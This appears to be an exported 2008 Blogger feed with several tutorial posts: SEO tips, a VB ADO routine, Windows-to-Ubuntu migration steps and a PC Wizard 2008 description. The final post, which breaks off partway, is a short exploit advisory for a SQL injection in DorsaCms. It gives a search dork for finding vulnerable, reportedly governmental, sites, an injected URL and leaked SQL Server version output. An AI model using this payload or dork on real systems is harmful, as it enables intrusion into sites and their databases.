docket.&lt;br /&gt;• Research and use the right keywords / phrases to haul your target customers.&lt;br /&gt;• Use your keywords in the right fields and references within your web page. Like Title, META tags, Headers, etc.&lt;br /&gt;• Keep your site design simple so that your customers can navigate easily between web pages, find what they want and buy products and services.&lt;br /&gt;• Submit your web pages i. e. every web page and not just the home page, to the most popular search engines and directory services. Hire someone to do so, if required. Be sure this is a manual submission. Do not yes an automated submission service.&lt;br /&gt;• Keep track of changes in search engine algorithms and processes and accordingly modify your web pages so your search engine ranking remains high. Use online tools and utilities to keep track of how your website is doing.&lt;br /&gt;• Monitor your competitors and the top ranked websites to see what they are doing right in the way of design, navigation, content, keywords, etc.&lt;br /&gt;• Use reports and logs from your web hosting company to see where your traffic is coming from. Analyze your visitor location and their incoming sources whether search engines or links from other sites and the keywords they used to find you.&lt;br /&gt;• Make your customer visit easy and give them plenty of ways to remember you in the form of newsletters, free reports, reduction coupons etc.&lt;br /&gt;• Demonstrate your industry and product or service expertise by writing and submitting articles through your website or for article banks so you are perceived as an expert in your field.&lt;br /&gt;• When selling products online, use simple payment and shipment methods to make your customer’s experience fast and easy.&lt;br /&gt;• When not sure, hire professionals. Though it may seem costly, but it is a lot less expensive than spending your money on a website which no one visits.&lt;br /&gt;• Don’t look at your website as a static brochure. Treat it as a dynamic, ever - changing sales tool and location, just like your real store to which your customers with the same seriousness.&lt;br /&gt;• Now you can understand why there's a growing interest in . When people start looking for more information about , you'll be in a position to meet their needs.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7167639538385349834?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7167639538385349834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7167639538385349834'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/12/increase-ranking-and-website-traffic.html' title='Increase Ranking and Website Traffic'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3792401043959537874</id><published>2008-12-17T00:53:00.000+07:00</published><updated>2008-12-17T01:02:18.901+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / . Net'/><title type='text'>A basic ADO Open and Requery</title><content type='html'>New to ADO? Worried about ADO? This little subroutine gets round the problems of opening ADO recordsets. Please look elsewhere on this site for info on opening the database itself. If you open a Recordset in your code, ADO expects you to close it before re-opening. But if it's not open you can't close it. &lt;br /&gt;&lt;splan class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;'**************************************&lt;br /&gt;' Name: A basic ADO Open and Requery rou&lt;br /&gt;'     tine&lt;br /&gt;' Description:New to ADO? Worried about &lt;br /&gt;'     ADO? This little subroutine gets round t&lt;br /&gt;'     he problems of opening ADO recordsets. P&lt;br /&gt;'     lease look elsewhere on this site for in&lt;br /&gt;'     fo on opening the database itself.&lt;br /&gt;If you open a Recordset in your code, ADO expects you to close it before re-opening. But if it's not open you can't close it... (Oh My!).&lt;br /&gt;Here's my solution. It requires a public ADODB.Connection - I call it gCn.&lt;br /&gt;The routine will open a new recordset (compatible with Janus GridEx), or refresh it if it's open or if the SQL has changed. Optional ReadOnly argument.&lt;br /&gt;' By: Steve Mann&lt;br /&gt;'&lt;br /&gt;'&lt;br /&gt;' Inputs:rs - an ADO recordset (eg Dim r&lt;br /&gt;'     sMine as New ADODB.Recordset)&lt;br /&gt;szSource - (eg "select * from customers")&lt;br /&gt;Optional - bReadOnly (True for read-only)&lt;br /&gt;'&lt;br /&gt;' Returns:Sets the supplied Recordset.&lt;br /&gt;'&lt;br /&gt;'Assumes:Assumes your public ADO Connect&lt;br /&gt;'     ion object is called gCn, and that the s&lt;br /&gt;'     upplied szSource is a valid SQL statemen&lt;br /&gt;'     t.&lt;br /&gt;'&lt;br /&gt;'Side Effects:If you pass invalid SQL, y&lt;br /&gt;'     ou'll get an error. Ctrl+Break and you'l&lt;br /&gt;'     l be ready to F8 out and see where you w&lt;br /&gt;'     ent wrong.&lt;br /&gt;'This code is copyrighted and has limite&lt;br /&gt;'     d warranties.&lt;br /&gt;'Please see http://www.Planet-Source-Cod&lt;br /&gt;'     e.com/xq/ASP/txtCodeId.11869/lngWId.1/qx&lt;br /&gt;'     /vb/scripts/ShowCode.htm&lt;br /&gt;'for details.&lt;br /&gt;'**************************************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Sub ADO_OpenRs(rs As Recordset, szSource$, Optional bReadOnly = False)&lt;br /&gt;    ' Open or Requery a Recordset.&lt;br /&gt;    On Error GoTo lab_Err&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    If rs.State = adStateClosed Or rs.Source &lt;&gt; szSource Then&lt;br /&gt;        If rs.State &lt;&gt; adStateClosed Then rs.Close&lt;br /&gt;        rs.Open szSource, gCn, adOpenStatic, IIf(bReadOnly, adLockReadOnly, adLockOptimistic)&lt;br /&gt;    Else&lt;br /&gt;        rs.Requery&lt;br /&gt;    End If&lt;br /&gt;    lab_Exit:&lt;br /&gt;    &lt;br /&gt;    Exit Sub&lt;br /&gt;    &lt;br /&gt;    lab_Err:&lt;br /&gt;    &lt;br /&gt;    MsgBox Err.Description&lt;br /&gt;    GoTo lab_Exit&lt;br /&gt;    &lt;br /&gt;End Sub&lt;br /&gt;  &lt;br /&gt;Ref http://pscode.com/vb/scripts/ShowCodeAsText.asp?txtCodeId=11869&amp;lngWId=1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3792401043959537874?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3792401043959537874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3792401043959537874'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/12/basic-ado-open-and-requery.html' title='A basic ADO Open and Requery'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1362017840495183512</id><published>2008-12-07T16:06:00.006+07:00</published><updated>2008-12-07T16:28:55.737+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Move Your Windows Data to Ubuntu</title><content type='html'>Your files, bookmarks, and other settings are locked away in a Windows installation. Learn how to move them over to your new Ubuntu system. &lt;br /&gt;So you're making the big move. You're ready to pack everything up and move from Windows to Ubuntu. The easy part is getting Ubuntu up and running. The trickier part is migrating all your data, which is spread out all over your Windows hard disk. Here's how to pack up all your stuff and make use of it on your new Ubuntu system.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DCngj7J8Q6E/STuUQW5qrnI/AAAAAAAAAAY/sj0CnuUCCX4/s1600-h/gam+1.bmp"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 96px;" src="http://1.bp.blogspot.com/_DCngj7J8Q6E/STuUQW5qrnI/AAAAAAAAAAY/sj0CnuUCCX4/s320/gam+1.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5276974397140938354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;splan class="fullpost"&gt;&lt;br /&gt;Transfer Outlook into Thunderbird&lt;br /&gt;Before you transfer your Outlook email into Thunderbird, first make sure that Outlook is set to be the default mail application (if you've been using it for your mail application, it probably is). Open the Control Panel and double-click on Internet Options. Go to the Programs tab and make sure that Microsoft Outlook (or Outlook Express, depending on which one you use) is specified as the email program, and then click OK.&lt;br /&gt;Next, launch Mozilla Thunderbird. Select No when it asks whether you want to make Thunderbird your default email application. If this is the first time you've run it, it will prompt you to import your mail and settings.&lt;br /&gt;If not, select Import from the Tools menu. Now you're ready to import your mail. When the Import dialog box appears, select Mail and click Next. Choose Outlook or Outlook Express and click Next. When it's done, click Finish. Your mail is now sitting in Thunderbird.&lt;br /&gt;Transfer your Thunderbird mail to Ubuntu&lt;br /&gt;If you transferred your mail from Outlook, it will be sitting in a Local Folder called Outlook Mail. You should have a few folders there, including Deleted Items, Drafts, Inbox, Outbox, and Sent Items. If you expected a whole bunch of mail to be imported from Outlook but found nothing, check to see whether you are using IMAP for your email (see the earlier note about transferring your IMAP account).&lt;br /&gt;To grab the mail folders from Thunderbird, you'll need to locate your profile folder. First, shut down Thunderbird, and then open a Windows Command Prompt. Next, change to your Thunderbird directory with this command:&lt;br /&gt; cd %APPDATA%\\Thunderbird&lt;br /&gt;&lt;br /&gt;( APPDATA is a Windows environment variable that points to the currently logged-in user's Application Data directory.) You'll find a Profiles directory in there, and in that directory, there should be a directory with a funny name, such as pr4qpneu.default. This is your Thunderbird profile directory. In this directory, look for the subdirectory Mail\\Local Folders, and then look for your mail folders, which may be in yet another subdirectory.&lt;br /&gt;For example, this directory contains some empty folders (such as Drafts, Sent, and Trash):&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DCngj7J8Q6E/STuXNjBWc2I/AAAAAAAAAAw/3smTrPj2rho/s1600-h/GAM3.bmp"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 182px;" src="http://2.bp.blogspot.com/_DCngj7J8Q6E/STuXNjBWc2I/AAAAAAAAAAw/3smTrPj2rho/s320/GAM3.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5276977647389668194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;These folders use the Unix mbox format and can be imported into most Ubuntu email programs. For example, you can basically reverse the process to move the folder from Thunderbird on Windows to Thunderbird on Linux: find your Local Folders directory in your Ubuntu ~/.mozilla-thunderbird directory, make sure that Thunderbird is not running, and copy the files into that directory. When you restart Thunderbird, the folders you copied should appear in your list of Local Folders. &lt;br /&gt;In Evolution, you can select File Import to bring up the Evolution Import Assistant. When prompted to choose the Importer Type, select Import a Single File and then specify the mbox file when prompted to choose a file. If you have trouble importing files into Evolution, you can copy them manually: exit out of Evolution, and copy the files to ~/.evolution/mail/local.&lt;br /&gt;If you have any problems, check the MozillaZine article on importing and exporting mail at http://kb.mozillazine.org/Importing_and_exporting_your_mail. However, considering how complicated it is to move mail from one system to another, you should consider using IMAP, which eliminates all these steps the next time you need to move from one machine to another; with IMAP, all your mail and folders are stored on the server. Contact your system administrator, Internet Service Provider, or mail provider to find out whether they support IMAP. &lt;br /&gt;Are You Bringing the Browser?&lt;br /&gt;You'll be happy to hear that exporting and importing your browser settings will be simple compared to migrating email. If you're using Internet Explorer, you'll first need to export your cookies and bookmarks and then copy them over to your Ubuntu system. To export them, start Internet Explorer, and select File Import and Export. This starts the Import/Export Wizard. You'll have to run it twice: once for your cookies and once for your favorites (bookmarks).&lt;br /&gt;If you're using Firefox on your old system, you can locate your profile folder and grab the bookmarks.html and cookies.txt files. To find your Firefox profile directory, open up a Windows Command Prompt and issue this command:&lt;br /&gt;cd %APPDATA%\\Mozilla\\Firefox\\Profiles&lt;br /&gt;&lt;br /&gt;As with Thunderbird, you'll find a strangely named directory, such as 9yk75acu.default. Your cookies and bookmarks will be sitting in this directory.&lt;br /&gt;Once you've grabbed your cookies and bookmarks, you can use your browser's import function to bring them over to Ubuntu. For example, with Firefox, you can import bookmarks by selecting Bookmarks Manage Bookmarks, and then selecting File Import. To copy your cookies over, you'll first need to close Firefox, then paste the contents of the exported cookies into your existing cookies.txt file in your Firefox profile directory on your Ubuntu system, located in ~/.mozilla/firefox.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DCngj7J8Q6E/STuUwfffWaI/AAAAAAAAAAg/UOPuYes6tJ8/s1600-h/gam+2.bmp"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 52px;" src="http://2.bp.blogspot.com/_DCngj7J8Q6E/STuUwfffWaI/AAAAAAAAAAg/UOPuYes6tJ8/s320/gam+2.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5276974949202876834" /&gt;&lt;/a&gt;&lt;br /&gt;Your Stuff, Your Music&lt;br /&gt;Unless you've decided to put your documents elsewhere, Windows makes moving them to Ubuntu quite easy. Windows uses the My Documents folder to organize your documentsincluding music, video, and othersand most applications respect this organization (for example, iTunes organizes its files under My Documents\\My Music\\iTunes). The actual location of the My Documents folder varies by Windows version. For example, on Windows XP, it is on the system drive (usually C:) in \\Documents and Settings&lt;username&gt;\\My Documents.&lt;br /&gt;Although it's easy to copy over the files, some files, such as multimedia files, will probably not play on Ubuntu without a little extra effort. &lt;br /&gt;Your Little Black Book&lt;br /&gt;To move your appointments and contacts over, it's best if you can get your data into the vCalendar or iCalendar format (for calendars) and the VCard format (for contacts). If you can do this, it will be simple to import into an application such as Evolution or Thunderbird.&lt;br /&gt;Outlook will let you export items one at a time, but this is too tedious for importing many contacts or calendar items. The free OutPod (http://outpod.stoer.de/) is designed to export Outlook items to an iPod, but to accomplish this, it uses the vCalendar and iCalendar formats to store the data. To use it, simply run OutPod.exe and navigate to your list of calendar items or contacts (Outlook will probably ask for your permission to let OutPod access its data). Click in the list of contacts or calendars and press Ctrl-A to select all. Then click OutPod's Outlook menu and choose "Save Selected Items in One File."&lt;br /&gt;Copy the .vcf (VCard), .ics (iCalendar), or .vcs (VCalendar) file over to your Ubuntu system, and import it into Evolution or Thunderbird (addresses only). For Evolution, choose File Import to bring up the Evolution Import Assistant, and choose to Import a Single File when prompted. Select the file you want to import (you may need to specify the file type), as shown in Figure 1-5, and then continue through the Import Assistant to import the data.&lt;br /&gt;Figure 1-5. Importing an iCalendar file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another utility you may find useful for exporting calendars from Outlook is the free Outlook to iCal Export Utility (http://outlook2ical.sourceforge.net).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DCngj7J8Q6E/STuVLyAPC6I/AAAAAAAAAAo/NfOyxCNzrpM/s1600-h/figur+1.5.bmp"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 94px;" src="http://4.bp.blogspot.com/_DCngj7J8Q6E/STuVLyAPC6I/AAAAAAAAAAo/NfOyxCNzrpM/s320/figur+1.5.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5276975418028526498" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Am I Forgetting Anything?&lt;br /&gt;As a last check, open up your Windows Control Panel, go to Add/Remove Programs, and review the list of programs. Do you see any that store their data in a nonstandard location? For example, anything with a keychain, such as GNU Privacy Guard or the PuTTY SSH suite, might be keeping some keys you can't live without.&lt;br /&gt;GNU Privacy Guard keeps its files in the gnupg subdirectory of the user's Application Data folder. APPDATA is an environment variable that expands to the user's Application Data directory, so issuing the command:&lt;br /&gt;dir %APPDATA%&lt;br /&gt;&lt;br /&gt;in a Windows Command Prompt will reveal gnupg's location. PuTTY keeps its keys wherever you decided to put them. If you've been using Pageant, select Add Key, and it should pop up with an Open File dialog set to the most recent directory you used.&lt;br /&gt;If you're a Cygwin (http://www.cygwin.com) fan, don't forget that it keeps its home directories in a separate location (usually C:\\cygwin\\home). You may have all kinds of important documents and dotfiles kicking around there!&lt;br /&gt;You Could Just Hire a Mover&lt;br /&gt;There are a few third-party applications available to help move from Windows to Linux, but not all of them support Ubuntu. If you have a lot of machines to migrate, you might want to check out one of these:&lt;br /&gt;• Desktop Migration Agent (http://www.alacos.com/linux.html)&lt;br /&gt;• Progression Desktop (http://www.versora.com/)&lt;br /&gt;• MoveOver (http://www.resolvo.com/products/moveover/index.htm)&lt;br /&gt;• LSP (http://www.das.com.tw/elsp.htm) &lt;br /&gt;Brian Jepson&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1362017840495183512?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1362017840495183512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1362017840495183512'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/12/move-your-windows-data-to-ubuntu.html' title='Move Your Windows Data to Ubuntu'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DCngj7J8Q6E/STuUQW5qrnI/AAAAAAAAAAY/sj0CnuUCCX4/s72-c/gam+1.bmp' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4358897606679348217</id><published>2008-11-05T05:38:00.002+07:00</published><updated>2008-11-05T05:41:36.461+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>PC WIZARD 2008</title><content type='html'>Since 1996 PC WIZARD is among the most advanced system information programs on the market. PC WIZARD 2008 is a powerful utility designed especially for detection of hardware, but also some more analysis. It's able to identify a large scale of system components and supports the latest technologies and standards. This tool is periodically updated (usually once per month) in order to provide most accurate results.&lt;br /&gt;&lt;br /&gt;PC WIZARD 2008 is also an utility designed to analyze and benchmark your computer system. It can analyze and benchmark many kinds of hardware, such as CPU performance, Cache performance, RAM performance, Hard Disk performance, CD/DVD-ROM performance, Removable/FLASH Media performance, Video performance, MP3 compression performance.&lt;br /&gt;&lt;splan class="fullpost"&gt;&lt;br /&gt;PC WIZARD 2008 can be distributed freely (ftp, archives, CD-ROMs ...).&lt;br /&gt;&lt;br /&gt;Hardware Information&lt;br /&gt;&lt;br /&gt;* Mainboard / Bios (Connectors, ID String, MP Support ...)&lt;br /&gt;* Chipset (FSB Frequency, Norhtbridge, Hub, Direct Media Interface, XMB, NSI, ...)&lt;br /&gt;* Main Memory (FPM, EDO, SDRAM, DDR SDRAM, DDR-2 SDRAM, DDR-3 SDRAM, RDRAM, FB_DIMM, Timings ...)&lt;br /&gt;* Memory Profiles : EPP (SLi Ready), Intel XMP.&lt;br /&gt;* Cache Memory (L1, L2, L3, Size, Frequency ...)&lt;br /&gt;* Processors (Type, Speed, Multiplier coeff., Features, Model Number, Vanderpool Technology ...)&lt;br /&gt;* Coprocessor&lt;br /&gt;* APM &amp; ACPI&lt;br /&gt;* Busses : ISA, PCI, AGP (2x, 4x,8x), SMBus/ i2c, CardBus, Firewire, Hyper-Transport ... )&lt;br /&gt;* DMI / SMBIOS&lt;br /&gt;* Mainboard Sensors, Processor, Hard Disk &amp; Battery (Voltage, Temperature, Fans)&lt;br /&gt;* Video (Monitor, Card, Bios, Capabilities, Memory, Integrated Memory, Frequencies ...)&lt;br /&gt;* OpenGL &amp; 3Dfx&lt;br /&gt;* DirectX (DirectDraw, Direct3D, DirectSound (3D), DirectMusic, DirectPlay, DirectInput, DirectX Media)&lt;br /&gt;* Keyboard, Mouse &amp; Joystick&lt;br /&gt;* Drives (Hard Disk, Removable, CD-ROM, CDRW, DVD ...)&lt;br /&gt;* SCSI (Card, Controller, Adapter, Devices ...)&lt;br /&gt;* ATA/ATAPI &amp; S-ATA (Devices, Type, Capabilities, S.M.A.R.T. Features, RAID)&lt;br /&gt;* Ports (Serial, Parallel, USB, IEEE-1394)&lt;br /&gt;* IDE &amp; SCSI Devices&lt;br /&gt;* Twain &amp; WIA Devices&lt;br /&gt;* PCMCIA (PC Card) Devices&lt;br /&gt;* Bluetooth Devices&lt;br /&gt;* Sound Card (wave, midi, aux, mix, AC'97 codec, High Definition Audio)&lt;br /&gt;* Printers (Local &amp; Network)&lt;br /&gt;* Modem (Features, Speed ...)&lt;br /&gt;* Network (Server, Connexion, Firewall ...)&lt;br /&gt;* Security (Scan Ports ...)&lt;br /&gt;* PocketPC &amp; SmartPhone Devices&lt;br /&gt;&lt;br /&gt;System Information&lt;br /&gt;&lt;br /&gt;* MCI Devices (mpeg, avi, seq, vcr, video-disc, wave) &amp; ACM&lt;br /&gt;* SAPI&lt;br /&gt;* Passwords (Outlook, Internet Explorer, MSN Messenger, Dialup ...)&lt;br /&gt;* DOS Memory (base, HMA, UMB, XMS, EMS, DPMI, VCPI)&lt;br /&gt;* Windows Memory&lt;br /&gt;* Windows (Version, Product Key, Environment, Desktop, XP Themes ...)&lt;br /&gt;* Windows UpTime (Boot, Shutdown, BlueScreen, System Restore Points ...)&lt;br /&gt;* TrueType &amp; OpenType Fonts&lt;br /&gt;* WinSock (Internet), Telephony et Remote Access&lt;br /&gt;* OLE (Objects, Servers ...)&lt;br /&gt;* Microsoft® Applications&lt;br /&gt;* Activity (Process, Tasks, Threads)&lt;br /&gt;* Modules (DLL, DRV, 32 &amp; 16-bits) &amp; NT Services&lt;br /&gt;* Internet Navigator (Microsoft Internet Explorer, Netscape, Mozilla, FireFox)&lt;br /&gt;* ODBC&lt;br /&gt;* CMOS/RTC&lt;br /&gt;* Resources (IRQ, DMA, E/S, Memory)&lt;br /&gt;* System files (.ini, .log, .bat, .nt, .dos ...)&lt;br /&gt;&lt;br /&gt;System Benchmarks&lt;br /&gt;&lt;br /&gt;* Processor (Dhrystone (MIPS), Whetstone (MFLOPS), Mandelbrot fractal ...)&lt;br /&gt;* L1, L2, L3 Cache, RAM (Bandwidth, Latency ...)&lt;br /&gt;* Main Memory (Bandwidth, Latency ...)&lt;br /&gt;* Hard Drives&lt;br /&gt;* CD/DVD Rom&lt;br /&gt;* DirectX 3D&lt;br /&gt;* Video&lt;br /&gt;* Removable/Flash Support&lt;br /&gt;* MP3 Compression&lt;br /&gt;* VISTA Experience Index&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MEMORY and CACHE: These benchmarks measure the maximum achiveable memory bandwidth. The code behind these benchmarks method is written in Assembly (x86, SSE, SSE2, SSE3). Memory benchmarks utilize only one processor core and one thread.&lt;br /&gt;&lt;br /&gt;PROCESSOR : These benchmarks measure performance in terms of Integer Millions of Instructions Per Second (Integer MIPS) and Millions of Floating Point Operations Per Second (MFLOPS). The code behind these benchmarks method is written in Assembly (x86, x87, MMX, SSE, SSE2, SSE3, 3DNOW!). Processor benchmarks are HyperThreading, multi-processor (SMP) and multi-core (CMP) aware.&lt;br /&gt;&lt;br /&gt;Tools&lt;br /&gt;&lt;br /&gt;* Can save, print, e-mail a report&lt;br /&gt;* Can save a TXT, RTF, HTML, PDF or CSV report&lt;br /&gt;* Can export any graphics as BMP file&lt;br /&gt;* Can export text and graphic with the clipboard&lt;br /&gt;* Web update Wizard&lt;br /&gt;* Communicate with Motherboard Monitor&lt;br /&gt;* Dump (Hardware registers, System BIOS, video BIOS ...)&lt;br /&gt;&lt;br /&gt;Multi Languages&lt;br /&gt;&lt;br /&gt;* Dutch&lt;br /&gt;* English&lt;br /&gt;* French&lt;br /&gt;* German&lt;br /&gt;* Greek&lt;br /&gt;* Italian&lt;br /&gt;* Russian&lt;br /&gt;* Serbian&lt;br /&gt;* Slovak&lt;br /&gt;&lt;br /&gt;Use this 100% free software to learn more about your computer and its components, detect/diagnose any problems in your computer, and increase your computer's performance.&lt;br /&gt;&lt;br /&gt;Directions for use&lt;br /&gt;&lt;br /&gt;Install&lt;br /&gt;&lt;br /&gt;* ZIP package : PC Wizard 2008 can be run directly from removable support (CD/DVD, USB Key, ...) Options are not saved.&lt;br /&gt;Don't forget to check "Use Folder Names" into your UNZIP application to create PC Wizard folders.&lt;br /&gt;* Self-installing EXE package : To install PC Wizard 2008 directly on your hard drive.&lt;br /&gt;&lt;br /&gt;Commandline Parameters&lt;br /&gt;&lt;br /&gt;* Launch PC Wizard in silent mode : no interface appears, the report is automatically created.&lt;br /&gt;* Example : PC Wizard.exe /R T1 C3 c:\reports\report.txt /I&lt;br /&gt;* Result : Save plain text report for Hardware Tab and Processor category only into the c:\reports folder, with detailed information.&lt;br /&gt;* To learn more, see the readme.txt file into the PC Wizard folder.&lt;br /&gt;&lt;br /&gt;Special Keys&lt;br /&gt;&lt;br /&gt;* The F5 key allows to refresh information.&lt;br /&gt;* The F10 key copies the current page in the clipboard.&lt;br /&gt;* The F11 key allows to save a screenshot as a .bmp file.&lt;br /&gt;* The F12 allows to save current benchmark results to the database.&lt;br /&gt;* The Right Click allows to display a context menu (on graphic benchmark it allows to save graph as a bitmap).&lt;br /&gt;&lt;br /&gt;Special Extras&lt;br /&gt;&lt;br /&gt;PC Wizard supports the Logitech G-Series keyboard LCD screen. To activate this function go to menu Options (Monitoring Tab )and check it. When you minimize PC Wizard window, CPU information will be displayed into the keyboard LCD screen.&lt;br /&gt;&lt;br /&gt;Options&lt;br /&gt;&lt;br /&gt;Logitech LCD screen&lt;br /&gt;&lt;br /&gt;Security&lt;br /&gt;&lt;br /&gt;PC Wizard 2008 shows passwords only for your personal goal. No sensitive data is transmitted. No sensitive data is included with any kind of report.&lt;br /&gt;&lt;br /&gt;Remove&lt;br /&gt;&lt;br /&gt;Go to Control Panel - Add/remove Programs and choose PC Wizard 2008. Click on Add/Remove button and follow the instructions.&lt;br /&gt;&lt;br /&gt;Debug Mode&lt;br /&gt;&lt;br /&gt;If PC Wizard freezes or crashs your computer, please try to :&lt;br /&gt;&lt;br /&gt;* Launch application with Debug Mode (hold down the ESC key until the SplashScreen appears). A new file will be created (C:\pcwdbg.log).&lt;br /&gt;Please report it by sending an e-mail with this file (see Contact the authors).&lt;br /&gt;* PC Wizard Settings shows and you can disable the detection of some components, which may cause problems.&lt;br /&gt;&lt;br /&gt;Some computers may have problems especially during:&lt;br /&gt;&lt;br /&gt;* IDE/ATAPI device direct-access scan.&lt;br /&gt;* SMBus scan.&lt;br /&gt;* GPU i2C device direct-access.&lt;br /&gt;* SuperIO/LPC sensor detection.&lt;br /&gt;* ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Contact the authors&lt;br /&gt;&lt;br /&gt;If you encounter problems, bugs or incompatibilities, please report it by sending an e-mail at pcwizard@cpuid.com with a brief description.&lt;br /&gt;Please try to include a Report (use Save as... or Send a message - choose Text Format) AND a Hardware Registers Dump (menu Tools) when you have a problem.&lt;br /&gt;&lt;br /&gt;Thanks for your help. &lt;br /&gt;ref. &lt;a href="http://soft-download-info.blogspot.com"&gt;soft-download-info.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4358897606679348217?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4358897606679348217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4358897606679348217'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/11/pc-wizard-2008.html' title='PC WIZARD 2008'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6170969094325231772</id><published>2008-10-28T23:17:00.003+07:00</published><updated>2008-10-28T23:29:20.211+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Security'/><title type='text'>DorsaCms</title><content type='html'>DorsaCms (ShowPage.aspx) Remote SQL Injection Vulnerability. &lt;br /&gt;Portal Name: Dorsa CMS&lt;br /&gt;Vendor : http://www.dorsacms.com&lt;br /&gt;Description : A CMS written by iranian programmers which uses by governmental websites.&lt;br /&gt;Vulnerable File : ShowPage.aspx&lt;br /&gt;Dork: Powered by DorsaCms&lt;br /&gt;Author : syst3m_f4ult &amp;&amp; Y!ID : autumn_love6&lt;br /&gt;&lt;br /&gt;How to exploit :&lt;br /&gt;&lt;br /&gt;a live example :&lt;br /&gt;&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2&lt;br /&gt;&lt;br /&gt;Testing injection :&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,@@version)--&lt;br /&gt;Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise ...&lt;br 